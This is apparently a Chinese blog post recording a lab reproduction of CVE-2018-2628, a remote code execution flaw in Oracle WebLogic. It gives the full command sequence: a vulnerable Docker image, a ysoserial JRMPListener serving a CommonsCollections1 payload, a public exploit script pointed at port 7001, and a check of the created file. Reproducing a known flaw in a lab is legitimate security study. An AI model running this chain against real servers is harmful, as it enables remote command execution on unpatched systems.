CVE-2018-2628漏洞复现

本文的漏洞复现参考了https://github.com/brianwrf/CVE-2018-2628,在此感谢大佬的付出。
在此只把自己的复现过程做个记录

0.先提几个概念

JRMP:java remote method protocol,Java远程方法协议
JRMP是的Java技术协议的具体对象为希望和远程引用。JRMP只能是一个Java特有的,基于流的协议。相对于的RMI - IIOP的 ,该协议JRMP只能是一个对象的Java到Java的远程调用,这使得它依赖语言,意思是客户端和服务器必须使用Java。
JRMP:Java远程消息交换协议JRMP(Java Remote Messaging Protocol)
该协议基于TCP/IP,既然是作为信息交换协议,必然存在接收和发送两个端点,JRMPListener可以粗糙的理解为发送端,在本实验中意为攻击机上1099端口与weblogic靶机上的7001进行通信达到远程命令执行的目的。
CVE-2018-2628漏洞复现_第1张图片

1.安装靶机环境

docker pull zhiqzhao/ubuntu_weblogic1036_domain
docker run -d -p 7001:7001 zhiqzhao/ubuntu_weblogic1036_domain
#这里直接使用大佬配置好的环境

这里写图片描述

2.在JRMPListener主机上运行命令

这里采用的是Ubuntu16.04+docker,docker容器作为weblogic靶机,在此JRMPListener主机指的是Ubuntu16.04。

wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'touch /tmp/sss666.txt'
#'touch /tmp/sss666.txt'为我想执行的命令,1099是JRMP Server监听的端口。

CVE-2018-2628漏洞复现_第2张图片
图中的172.17.0.2的ip为docker靶机的ip

3.运行exploit脚本

python exploit.py 172.17.0.2 7001 ../ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.185.43.215 1099 JRMPClien
#172.17.0.2 7001是weblogic靶机的IP和端口
#../ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 是ysoserial的本地路径根据自己真实路径填写
#10.185.43.215 1099的JRMP 一端的IP地址和端口
#JRMPClien是执行JRMPClient的类

这里写图片描述

4.进入docker靶机查看文件是否创建成功

docker exec -ti determined_stonebrak /bin/bash
#determined_stonebrak是我的docker靶机的名字,每个人创建的名字都不一样可使用docker ps查看NAME 
ls /tmp/

CVE-2018-2628漏洞复现_第3张图片

你可能感兴趣的:(网络安全)